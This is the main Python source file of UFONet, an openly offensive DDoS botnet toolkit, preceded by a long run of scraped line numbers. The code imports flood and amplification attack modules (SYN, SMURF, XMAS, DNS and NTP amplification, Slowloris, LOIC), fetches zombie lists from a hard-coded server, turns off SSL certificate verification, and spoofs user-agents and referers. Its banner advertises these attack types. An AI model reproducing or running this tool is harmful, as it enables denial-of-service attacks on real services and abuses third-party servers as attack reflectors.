main.py 251 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073307430753076307730783079308030813082308330843085308630873088308930903091309230933094309530963097309830993100310131023103310431053106310731083109311031113112311331143115311631173118311931203121312231233124312531263127312831293130313131323133313431353136313731383139314031413142314331443145314631473148314931503151315231533154315531563157315831593160316131623163316431653166316731683169317031713172317331743175317631773178317931803181318231833184318531863187318831893190319131923193319431953196319731983199320032013202320332043205320632073208320932103211321232133214321532163217321832193220322132223223322432253226322732283229323032313232323332343235323632373238323932403241324232433244324532463247324832493250325132523253325432553256325732583259326032613262326332643265326632673268326932703271327232733274327532763277327832793280328132823283328432853286328732883289329032913292329332943295329632973298329933003301330233033304330533063307330833093310331133123313331433153316331733183319332033213322332333243325332633273328332933303331333233333334333533363337333833393340334133423343334433453346334733483349335033513352335333543355335633573358335933603361336233633364336533663367336833693370337133723373337433753376337733783379338033813382338333843385338633873388338933903391339233933394339533963397339833993400340134023403340434053406340734083409341034113412341334143415341634173418341934203421342234233424342534263427342834293430343134323433343434353436343734383439344034413442344334443445344634473448344934503451345234533454345534563457345834593460346134623463346434653466346734683469347034713472347334743475347634773478347934803481348234833484348534863487348834893490349134923493349434953496349734983499350035013502350335043505350635073508350935103511351235133514351535163517351835193520352135223523352435253526352735283529353035313532353335343535353635373538353935403541354235433544354535463547354835493550355135523553355435553556355735583559356035613562356335643565356635673568356935703571357235733574357535763577357835793580358135823583358435853586358735883589359035913592359335943595359635973598359936003601360236033604360536063607360836093610361136123613361436153616361736183619362036213622362336243625362636273628362936303631363236333634363536363637363836393640364136423643364436453646364736483649365036513652365336543655365636573658365936603661366236633664366536663667366836693670367136723673367436753676367736783679368036813682368336843685368636873688368936903691369236933694369536963697369836993700370137023703370437053706370737083709371037113712371337143715371637173718371937203721372237233724372537263727372837293730373137323733373437353736373737383739374037413742374337443745374637473748374937503751375237533754375537563757375837593760376137623763376437653766376737683769377037713772377337743775377637773778377937803781378237833784378537863787378837893790379137923793379437953796379737983799380038013802380338043805380638073808380938103811381238133814381538163817381838193820382138223823382438253826382738283829383038313832383338343835383638373838383938403841384238433844384538463847384838493850385138523853385438553856385738583859386038613862386338643865386638673868386938703871387238733874387538763877387838793880388138823883388438853886388738883889389038913892389338943895389638973898389939003901390239033904390539063907390839093910391139123913391439153916391739183919392039213922392339243925392639273928392939303931393239333934393539363937393839393940394139423943394439453946394739483949395039513952395339543955395639573958395939603961396239633964396539663967396839693970397139723973397439753976397739783979398039813982398339843985398639873988398939903991399239933994399539963997399839994000400140024003400440054006400740084009401040114012401340144015401640174018401940204021402240234024402540264027402840294030403140324033403440354036403740384039404040414042404340444045404640474048404940504051405240534054405540564057405840594060406140624063406440654066406740684069407040714072407340744075407640774078407940804081408240834084408540864087408840894090409140924093409440954096409740984099410041014102410341044105410641074108410941104111411241134114411541164117411841194120412141224123412441254126412741284129413041314132413341344135413641374138413941404141414241434144414541464147414841494150415141524153415441554156415741584159416041614162416341644165416641674168416941704171417241734174417541764177417841794180418141824183418441854186418741884189419041914192419341944195419641974198419942004201420242034204420542064207420842094210421142124213421442154216421742184219422042214222422342244225422642274228422942304231423242334234423542364237423842394240424142424243424442454246424742484249425042514252425342544255425642574258425942604261426242634264426542664267426842694270427142724273427442754276427742784279428042814282428342844285428642874288428942904291429242934294429542964297429842994300430143024303430443054306430743084309431043114312431343144315431643174318431943204321432243234324432543264327432843294330433143324333433443354336433743384339434043414342434343444345434643474348434943504351435243534354435543564357435843594360436143624363436443654366436743684369437043714372437343744375437643774378437943804381438243834384438543864387438843894390439143924393439443954396439743984399440044014402440344044405440644074408440944104411441244134414441544164417441844194420442144224423442444254426442744284429443044314432443344344435443644374438443944404441444244434444444544464447444844494450445144524453445444554456445744584459446044614462446344644465446644674468446944704471447244734474447544764477447844794480448144824483448444854486448744884489449044914492449344944495449644974498449945004501450245034504450545064507450845094510451145124513451445154516451745184519452045214522452345244525452645274528452945304531453245334534453545364537453845394540454145424543454445454546454745484549455045514552455345544555455645574558455945604561456245634564456545664567456845694570457145724573457445754576457745784579458045814582458345844585458645874588458945904591459245934594459545964597459845994600460146024603460446054606460746084609461046114612461346144615461646174618461946204621462246234624462546264627462846294630463146324633463446354636463746384639464046414642464346444645464646474648464946504651465246534654465546564657465846594660466146624663466446654666466746684669467046714672467346744675467646774678467946804681468246834684468546864687468846894690469146924693469446954696469746984699470047014702470347044705470647074708470947104711471247134714471547164717471847194720472147224723472447254726472747284729473047314732473347344735473647374738473947404741474247434744474547464747474847494750475147524753475447554756475747584759476047614762476347644765476647674768476947704771477247734774477547764777477847794780478147824783478447854786478747884789479047914792479347944795479647974798479948004801480248034804480548064807480848094810481148124813481448154816481748184819482048214822482348244825482648274828482948304831483248334834483548364837483848394840484148424843484448454846484748484849485048514852485348544855485648574858485948604861486248634864486548664867486848694870487148724873487448754876487748784879488048814882488348844885488648874888488948904891489248934894489548964897489848994900490149024903490449054906490749084909491049114912491349144915491649174918491949204921492249234924492549264927492849294930493149324933493449354936493749384939494049414942494349444945494649474948494949504951495249534954495549564957495849594960496149624963496449654966496749684969497049714972497349744975497649774978497949804981498249834984498549864987498849894990499149924993499449954996499749984999500050015002500350045005500650075008500950105011501250135014501550165017501850195020502150225023502450255026502750285029503050315032503350345035
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import os, sys, re, traceback, random, time, threading, base64, string, math
  11. import io, socket, ssl, cgi, json, gzip
  12. try:
  13. from urllib.parse import urlparse as urlparse
  14. except:
  15. from urlparse import urlparse as urlparse
  16. try:
  17. import urllib.request, urllib.error, urllib.parse
  18. except:
  19. print ("\n[Error] UFONet no longer supports Python2: (https://www.python.org/doc/sunset-python-2/)\n\n[Info] [AI] Try to run the tool with Python3.x.y (ex: python3 ufonet)\n")
  20. sys.exit()
  21. from uuid import getnode
  22. from random import randrange, shuffle
  23. from .options import UFONetOptions
  24. from .update import Updater
  25. from .herd import Herd
  26. from .zombie import Zombie
  27. from .doll import Doll
  28. from core.tools.inspector import Inspector
  29. from core.tools.abductor import Abductor
  30. from core.tools.ufoscan import UFOSCAN
  31. from core.mods.loic import LOIC
  32. from core.mods.loris import LORIS
  33. from core.mods.ufosyn import UFOSYN
  34. from core.mods.spray import SPRAY
  35. from core.mods.smurf import SMURF
  36. from core.mods.xmas import XMAS
  37. from core.mods.nuke import NUKE
  38. from core.mods.tachyon import TACHYON
  39. from core.mods.monlist import MONLIST
  40. DEBUG = False # use 'True' for detailed traceback
  41. class UFONet(object):
  42. def __init__(self):
  43. self.exit_msg = 'Donate BTC (Bitcoin) to keep UFONet (https://ufonet.03c8.net) strong!' # set msg show at the end [FILO ;-)]
  44. self.blackhole = '176.28.23.46' # default download/upload zombies [Blackhole] [Server] / Try [DIY] your own [Mirror]...
  45. self.GIT_REPOSITORY = 'https://code.03c8.net/epsylon/ufonet' # oficial code source [OK! 22/12/2018]
  46. self.GIT_REPOSITORY2 = 'https://github.com/epsylon/ufonet' # mirror source [since: 04/06/2018]
  47. self.github_zombies = 'https://raw.githubusercontent.com/epsylon/ufonet/master/botnet/' # default [RAW] download/upload zombies [Blackhole] [GitHub] [DIY]
  48. self.external_check_service1 = 'https://status.ws/' # set external check service 1 [OK! 26/02/2020]
  49. self.external_check_service2 = 'https://downforeveryoneorjustme.com/' # set external check service 2 [OK! 26/02/2020]
  50. self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site
  51. self.check_ip_service1 = 'https://checkip.dyndns.com/' # set external check ip service 1 [OK! 28/02/2019]
  52. self.check_ip_service2 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 28/02/2019]
  53. self.check_ip_service3 = 'https://ip.42.pl/ra' # set external check ip service 3 [OK! 28/02/2019]
  54. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  55. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  56. self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve [Zombies]
  57. self.aliens_file = 'botnet/aliens.txt' # set source path to retrieve [Aliens]
  58. self.dnss_file = 'botnet/dns.txt' # set source path to retrieve [DNSs]
  59. self.droids_file = 'botnet/droids.txt' # set source path to retrieve [Droids]
  60. self.ucavs_file = 'botnet/ucavs.txt' # set source path to retrieve 'ucavs'
  61. self.rpcs_file = 'botnet/rpcs.txt' # set source path to retrieve 'rpcs'
  62. self.ntps_file = 'botnet/ntp.txt' # set source path to retrieve [NTPs]
  63. self.humans_file = 'botnet/humans.txt' # set source path to retrieve 'humans'
  64. self.dorks_file = 'botnet/dorks.txt' # set source path to retrieve [Dorks]
  65. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  66. self.timeline_file = 'docs/VERSION' # set source for code releases
  67. self.news_file = "data/news.txt" # set source path to retrieve [Blackhole] [News]
  68. self.missions_file = "data/missions.txt" # set source path to retrieve [Blackhole] [Missions]
  69. self.board_file = "data/board.txt" # set source path to retrieve [Blackhole] [Board]
  70. self.grid_file = "data/grid.txt" # set source path to retrieve [Blackhole] [Grid]
  71. self.wargames_file = "data/wargames.txt" # set source path to retrieve [Blackhole] [Wargames]
  72. self.examples_file = "docs/examples.txt" # set source path to retrieve [Examples]
  73. self.misc_file = "core/txt/misc.txt" # set source path to retrieve [Miscellania] cites
  74. self.referer = '' # black magic
  75. self.port = "8080" # default injection port
  76. self.mothershipname = "core/txt/shipname.txt"
  77. self.default_mothership_name = "l4m3r-lulz/0\n" # default mothership name
  78. self.mothership_baptism() # generating static name/id for your mothership ;-)
  79. self.head = False
  80. self.payload = False
  81. self.external = False
  82. self.attack_mode = False
  83. self.connection_failed = False
  84. self.total_possible_zombies = 0
  85. self.herd = Herd(self)
  86. self.sem = False
  87. self.db_flash = 0 # db stress counter
  88. self.total_aliens = 0
  89. self.aliens_hit = 0
  90. self.aliens_fail = 0
  91. self.total_droids = 0
  92. self.droids_hit = 0
  93. self.droids_fail = 0
  94. self.total_ucavs = 0
  95. self.ucavs_hit = 0
  96. self.ucavs_fail = 0
  97. self.total_rpcs = 0
  98. self.rpcs_hit = 0
  99. self.rpcs_fail = 0
  100. self.total_loic = 0
  101. self.total_loris = 0
  102. self.total_syn = 0
  103. self.total_spray = 0
  104. self.total_smurf = 0
  105. self.total_xmas = 0
  106. self.total_nuke = 0
  107. self.total_tachyon = 0
  108. self.total_monlist = 0
  109. self.total_zombies_failed_connection = 0
  110. self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)
  111. self.ctx.check_hostname = False
  112. self.ctx.verify_mode = ssl.CERT_NONE
  113. self.nat_error_flag = "OFF"
  114. self.trans_zombies = 0
  115. self.scanned_zombies = 0
  116. self.loadcheck_counter = 0
  117. self.loadcheck_prev_size = None
  118. self.loadcheck_prev_load = None
  119. self.loadcheck_first_size = None
  120. self.loadcheck_first_load = None
  121. self.loadcheck_size_list = []
  122. self.loadcheck_load_list = []
  123. self.loadcheck_size_median = None
  124. self.loadcheck_size_max = None
  125. self.loadcheck_size_min = None
  126. self.loadcheck_load_median = None
  127. self.loadcheck_size_max = None
  128. self.loadcheck_size_min = None
  129. self.num_is_up = 0 # counter for [UCAVs] 'up' reports
  130. self.num_is_down = 0 # counter for [UCAVs] 'down' reports
  131. self.expire_timing = 30 # default expiring time per round
  132. self.extra_zombies_lock = False # used to lock threading flow when [ARMY] is required
  133. self.ac_control = [] # used by 'herd.py' to lock threading flow when [Zombies] are returning
  134. def mothership_baptism(self):
  135. if os.path.exists(self.mothershipname) == True:
  136. f = open(self.mothershipname)
  137. self.mothership_id = f.read()
  138. f.close()
  139. else:
  140. self.mothership_ids = []
  141. try:
  142. f = open(self.motherships_file)
  143. motherships = f.readlines()
  144. f.close()
  145. for ship in motherships:
  146. ship = ship.encode("utf-8")
  147. self.mothership_ids.append(base64.urlsafe_b64encode(ship))
  148. try:
  149. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'utf-8')
  150. except:
  151. try:
  152. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'latin-1')+"\n" # id (hack&slash!) creation ;-)
  153. except:
  154. self.mothership_id = self.default_mothership_name
  155. except:
  156. self.mothership_id = self.default_mothership_name
  157. if len(str(self.mothership_id.upper())) > 20: # motherhip naming anti-cheating! ;-)
  158. self.mothership_id = self.default_mothership_name
  159. m = open(self.mothershipname, "w") # write mothership name to a static file
  160. m.write(str(self.mothership_id.upper()))
  161. m.close()
  162. def create_options(self, args=None):
  163. self.optionParser = UFONetOptions()
  164. self.options = self.optionParser.get_options(args)
  165. if not self.options:
  166. return False
  167. return self.options
  168. def banner_welcome(self):
  169. print("")
  170. print(" 0=============================================0")
  171. print(" || ||")
  172. print(" || || || * Botnet -> [DDoS]: ||")
  173. print(" -(00)- -(00)- || /Zombies : HTTP GET bots ||")
  174. print(" || (00) || || /Droids : HTTP GET (+params) bots ||")
  175. print(" (O)_ (O) 0'----'0 (O) _(O) || /Aliens : HTTP POST bots ||")
  176. print(" | |.''.( xx ).''.| | || /UCAVs : Web Abusing bots ||")
  177. print(" .'.' X|'..'|X '.'. || /X-RPCs : XML-RPC bots ||")
  178. print(" .-. .' /'--.__|_00_|__.--'\ '. .-. || /DBSTRESS: HTTP DB attack ||")
  179. print(" (O).)-|0| \ x| ## |x / |0|-(.(O) || /SPRAY : TCP-SYN reflector ||")
  180. print(" `-' '-'-._'-./ -00- \.-'_.-'-' `-' || /SMURF : ICMP echo flooder ||")
  181. print(" _ | || '-.___||___.-' || | _ || /TACHYON : DNS amplificator ||")
  182. print(" .' _ | ||==O | __ | O==|| | _ '. || /MONLIST : NTP amplificator ||")
  183. print(" / .' ''.| || | /_00_\ | || |.'' '. \ || ||")
  184. print(" | '### | =| | ###### | |= |' ### | || * Close Combat -> [DoS]: ||")
  185. print(" | |(0)| '. 0\||__**_ ||/0 .' |(0)| | || /LOIC : Fast HTTP requests ||")
  186. print(" \ '._.' '. | \_##_/ | .' '._.' / || /LORIS : Slow HTTP requests ||")
  187. print(" '.__ ____0_'.|__'--'__|.'_0____ __.' || /UFOSYN : TCP-SYN flooder ||")
  188. print(" .'_.-| |-._'. || /XMAS : TCP-XMAS flooder ||")
  189. print(" || /NUKE : TCP-STARVATION attack ||")
  190. print(" + Class: UFONet / ViPR404+ (model G) + || ||")
  191. print(" 0|===========================================|0")
  192. print("")
  193. def banner(self):
  194. print('='*75, "\n")
  195. print("888 888 8888888888 .d88888b. 888b 888 888 ")
  196. print("888 888 888 d88P Y888b 8888b 888 888 ")
  197. print("888 888 888 888 888 88888b 888 888 ")
  198. print("888 888 8888888 888 888 888Y88b 888 .d88b. 888888 ")
  199. print("888 888 888 888 888 888 Y88b888 d8P Y8b 888 ")
  200. print("888 888 888 888 888 888 Y88888 88888888 888 ")
  201. print("Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. ")
  202. print(" 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888")
  203. print(self.optionParser.description, "\n")
  204. print('='*75)
  205. def generate_exit_msg(self):
  206. self.exit_msg = "Generating random exit... \n\n"
  207. try:
  208. f = open(self.misc_file)
  209. m = f.readlines()
  210. f.close()
  211. self.exit_msg += " -> "+str(random.choice(m).strip())
  212. except:
  213. self.exit_msg += " -> Donate BTC (Bitcoin) to keep #UFONet (https://ufonet.03c8.net) strong!"
  214. def AI(self):
  215. try:
  216. import turtle as AI
  217. print("\n[AI] Making a unique drawing using 'Turtle' (Feurzig & Papert - 1966) -> [OK!]\n")
  218. colors = ['red', 'purple', 'blue', 'green', 'orange', 'yellow']
  219. bg = random.choice(colors).strip()
  220. t = AI.Pen()
  221. AI.bgcolor(bg)
  222. r = random.randrange(100,100000)
  223. for x in range(r):
  224. t.pencolor(colors[x%6])
  225. w = random.randrange(100,1000)
  226. t.width(x/w + 1)
  227. t.forward(x)
  228. l = random.randrange(50,1000)
  229. t.left(l)
  230. except:
  231. print("[AI] %!$1#9#84#~... -> [Exiting!]")
  232. pass
  233. def round_float(self, num):
  234. return str(int(round(num, -1)))[2] # black magic
  235. def show_mac_address(self):
  236. mac = getnode() # to get physical address
  237. hex_mac = str(":".join(re.findall('..', '%012x' % mac)))
  238. return hex_mac
  239. def show_ips(self):
  240. import requests
  241. try:
  242. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  243. s.connect(("8.8.8.8", 80))
  244. private_ip = s.getsockname()[0] # black magic
  245. s.close()
  246. except:
  247. private_ip = "Unknown"
  248. try:
  249. public_ip = requests.get(self.check_ip_service3).text
  250. except:
  251. try:
  252. public_ip = requests.get(self.check_ip_service2).text
  253. except:
  254. try:
  255. public_ip = requests.get(self.check_ip_service1).text
  256. except:
  257. public_ip = "Unknown"
  258. return private_ip, public_ip
  259. def try_running(self, func, error, args=None):
  260. options = self.options
  261. args = args or []
  262. try:
  263. return func(*args)
  264. except Exception as e:
  265. if DEBUG == True:
  266. print(error, "error")
  267. traceback.print_exc()
  268. def checkeuid(self):
  269. try:
  270. euid = os.geteuid()
  271. except:
  272. print("[Error] [AI] [UFONet] doesn't work correctly in systems with closed licenses...-> [Exiting!]\n")
  273. print("[AI] "+self.exit_msg+"\n")
  274. sys.exit(2) # return
  275. return euid
  276. def start_ship_engine(self):
  277. self.agents = [] # generating available user-agents
  278. f = open(self.agents_file)
  279. agents = f.readlines()
  280. f.close()
  281. for agent in agents:
  282. self.agents.append(agent)
  283. self.user_agent = random.choice(self.agents).strip()
  284. self.search_engines = [] # available dorking search engines
  285. self.search_engines.append('bing') # [01/02/2020: OK!]
  286. self.search_engines.append('yahoo') # [01/02/2020: OK!]
  287. self.search_engines.append('duck') # [01/02/2020: OK!]
  288. #self.search_engines.append('startpage') # [01/02/2020: deprecated! -> blocking instream params search]
  289. #self.search_engines.append('yandex') # [03/02/2018: deprecated! -> captchasound]
  290. #self.search_engines.append('google') # [09/08/2016: modified -> not working from TOR]
  291. if not os.path.exists("core/json/"): # create gui json cfg files folder
  292. os.mkdir("core/json/")
  293. self.banner_welcome()
  294. self.update_flying_stats() # update flying time stats
  295. chargo = self.check_mothership_chargo() # check mothership chargo
  296. self.update_max_chargo(int(chargo)) # update max chargo stats
  297. self.generate_exit_msg() # generate random exit msg
  298. def run(self, opts=None):
  299. if opts:
  300. self.create_options(opts)
  301. options = self.options
  302. # start threads
  303. if not self.options.threads:
  304. self.options.threads=5 # default number of threads
  305. self.sem = threading.Semaphore(self.options.threads)
  306. # start ship engine
  307. self.start_ship_engine()
  308. # check proxy options
  309. proxy = options.proxy
  310. if options.proxy:
  311. try:
  312. pattern = 'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'
  313. m = re.search(pattern, proxy)
  314. if m is None:
  315. self.banner()
  316. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  317. return
  318. else:
  319. self.proxy_transport(options.proxy) # create proxy transport (also here, to be sure)
  320. except Exception:
  321. self.banner()
  322. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  323. return
  324. # check tor connection
  325. if options.checktor:
  326. url = self.check_tor_url # TOR status checking site
  327. self.banner()
  328. print("\nSending request to: " + url + "\n")
  329. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  330. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  331. try:
  332. if options.proxy: # set proxy
  333. self.proxy_transport(options.proxy)
  334. req = urllib.request.Request(url, None, headers)
  335. tor_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  336. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
  337. if not tor_reply or 'Congratulations' not in tor_reply:
  338. print("It seems that Tor is not properly set.\n")
  339. print(("IP address appears to be: " + your_ip + "\n"))
  340. else:
  341. print("Congratulations!. Tor is properly being used :-)\n")
  342. print(("IP address appears to be: " + your_ip + "\n"))
  343. except:
  344. print("Cannot reach TOR checker system!. Are you correctly connected?\n")
  345. sys.exit(2) # return
  346. # run AES256+HMAC-SHA1 enc/dec tool
  347. if options.cryptomsg:
  348. from core.tools.crypter import Cipher
  349. print(" " + '='*44)
  350. print(" ")
  351. print(" ____...------------...____ ")
  352. print(" _.-'' /o/__ ____ __ __ __ \o\_`'-._ ")
  353. print(" .' / / \ \ '. ")
  354. print(" |=====/o/======================\o\=====| ")
  355. print(" |____/_/________..____..________\_\____| ")
  356. print(" / _/ \_ <_o#\__/#o_> _/ \_ \ ")
  357. print(" \__/_____\####/0213411543/####/_____\__/ ")
  358. print(" |===\!/========================\!/===| ")
  359. print(" | |=| .---. |=| | ")
  360. print(" |===|o|=========/ \========|o|===| ")
  361. print(" | | | \() ()/ | | | ")
  362. print(" |===|o|======{'-.) A (.-'}=====|o|===| ")
  363. print(" | __/ \__ '-.\\uuu/.-' __/ \__ | ")
  364. print(" |==== .'.'^'.'.====|====.'.'^'.'.====| ")
  365. print(" | _\o/ __ {.' __ '.} _ _\o/ _| ")
  366. print(" '''''''''''''''''''''''''''''''''''''' ")
  367. print("\n + UFONet Crypter (AES256+HMAC-SHA1)")
  368. print(" (140 plain text chars = 69 encrypted chars)\n")
  369. print(" " + '='*44 + "\n")
  370. text = str(input("-> Enter TEXT: "))
  371. input_key = str(input("\n-> Enter KEY: "))
  372. key = base64.b64encode(input_key.encode('utf-8')).decode('utf-8')
  373. c = Cipher(key, text)
  374. msg = c.encrypt()
  375. msg = msg.decode('utf-8')
  376. c.set_text(msg)
  377. print("\n" + " " + '-'*44)
  378. print('\n-> Ciphertext: [', msg, ']')
  379. print('\n-> Length:', len(msg))
  380. print("\n" + " " + '-'*44)
  381. print('\n-> Key (share it using SNEAKNET!):', input_key)
  382. print('\n-> Decryption PoC:', c.decrypt().decode('utf-8'), "\n")
  383. # run shownet tool
  384. if options.shownet:
  385. hex_mac = self.show_mac_address()
  386. self.banner()
